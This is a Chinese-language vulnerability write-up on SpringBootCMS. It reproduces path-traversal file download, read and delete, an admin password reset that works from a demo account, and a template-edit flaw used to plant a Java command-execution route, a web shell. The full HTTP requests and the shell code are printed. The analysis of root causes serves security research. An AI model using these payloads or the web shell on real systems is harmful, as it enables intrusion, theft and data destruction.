SpringBootCms

SpringBootCMS,极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码,让您轻松打造自己的独立网站,同时也方便二次开发,让您快速搭建个性化独立网站,为您节约更多时间。

http://www.jrecms.com/

环境搭建

修改 src/main/resources/application.properties 中对应的数据库地址,在本地创建数据库并导入根目录下的 sql 文件

运行 src/main/java/com/cms/App.java

漏洞复现分析

未授权任意文件下载

复制代码
GET /common/file/download?fileKey=../../resources/application.properties HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: http://localhost:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

com.cms.controller.common.FileController#download

通过传过来的参数 fileKey 未经过任何过滤就拼接到读取文件的路径中,最后读取该文件并下载返回

越权修改管理员密码

系统中存在演示账号,演示账号的用户名和密码为 read/123456,演示用户在前端并不能操作相关功能,但是可以通过直接构造数据包,触发相对应的功能

复制代码
POST /admin/admin/reset HTTP/1.1
Host: localhost:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8888/admin/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=7CD6B69DCC495750492D0D89B4713A52
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

id=1

成功修改了管理员 admin 的密码,修改为 123456

com.cms.controller.admin.AdminController#reset

com.cms.filter.PermissionFilter#doFilter

根本原因是没有将 reset 操作添加在过滤中,导致演示账号也可以执行重置密码的操作。

其他的操作就会有相关的提示

授权任意文件读取

构造链接

复制代码
http://localhost:8888/admin/template/edit?directory=default/../../../resources/&fileName=application.properties

com.cms.controller.admin.TemplateController#edit

对传入的参数 directory 和 fileName 未进行任何处理就拼接到 filepath 中 读取并显示

授权任意文件修改可 getshell

查找其中不需要授权就可以访问到的路由对应的文件

复制代码
http://localhost:8888/admin/template/edit?fileName=../../../../src/main/java/com/cms/controller/common/FileController.java

添加恶意代码,增加命令执行的路由文件

复制代码
@RequestMapping("/exec")
    public void exec(String command,HttpServletRequest request, HttpServletResponse response) throws Exception{
        // 执行命令并获取输出结果
        ProcessBuilder processBuilder = new ProcessBuilder();
        processBuilder.command("cmd", "/c", command);
        Process process = processBuilder.start();
        // 读取命令输出的结果
        String output = "";
        BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        String line;
        while ((line = inputReader.readLine()) != null) {
            output +=line;
        }
        response.setHeader("Content",output);
    }

重启项目后,发送路由信息

com.cms.controller.admin.TemplateController#update

漏洞存在的原因是因为在更新代码的时候,没有对代码内容进行校验,可任意修改代码,写入恶意代码就会触发命令执行

授权任意文件删除

构造数据包

复制代码
GET /admin/database/delete?name=../../../../../test.txt HTTP/1.1
Host: localhost:8888
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=410D94FAA33FE9021AD6B0C3E842F9F9
Connection: close

com.cms.controller.admin.DatabaseController#delete

com.cms.utils.BackupUtils#delete

相关推荐
码农阿豪13 小时前
从权限混沌到安全有序:金仓数据库的权限隔离如何超越MySQL
数据库·mysql·安全
犬大犬小15 小时前
什么是 webSocket?攻击面、安全风险与测试要点
安全·web安全·安全性测试
岛屿旅人19 小时前
英国国防部推进本土化开放架构建设
网络·人工智能·安全·web安全·架构
盈创力和200719 小时前
技术解析:CO与NO₂双气体监测如何构筑协同化安全防线
嵌入式硬件·安全·以太网温湿度传感器·多参量传感器·温湿度+气体智能传感器
TwoAnts&DingJoy19 小时前
数据分析-数据沙箱
人工智能·python·安全·数据分析·数据沙箱
lingggggaaaa19 小时前
小迪安全v2023学习笔记(一百四十三讲)—— Win系统权限提升篇&AD内网域控&NetLogon&ADCS&PAC&KDC&CVE漏洞
windows·笔记·学习·安全·内网安全·权限提升
HaiLang_IT21 小时前
2026届 网络与信息安全专业毕业设计选题推荐与指导(含热门研究方向)
网络·安全·信息安全
emma羊羊21 小时前
【weblogic】XML反序列化漏洞
xml·安全
北京阿尔泰科技厂家1 天前
从数据采集到智能诊断:阿尔泰科技实时高精度远距离管道状态监测全流程
物联网·安全·能源·信号采集·数据采集器·工业测试·管道监测
wanhengidc1 天前
云手机存在的意义是什么
运维·服务器·arm开发·安全·智能手机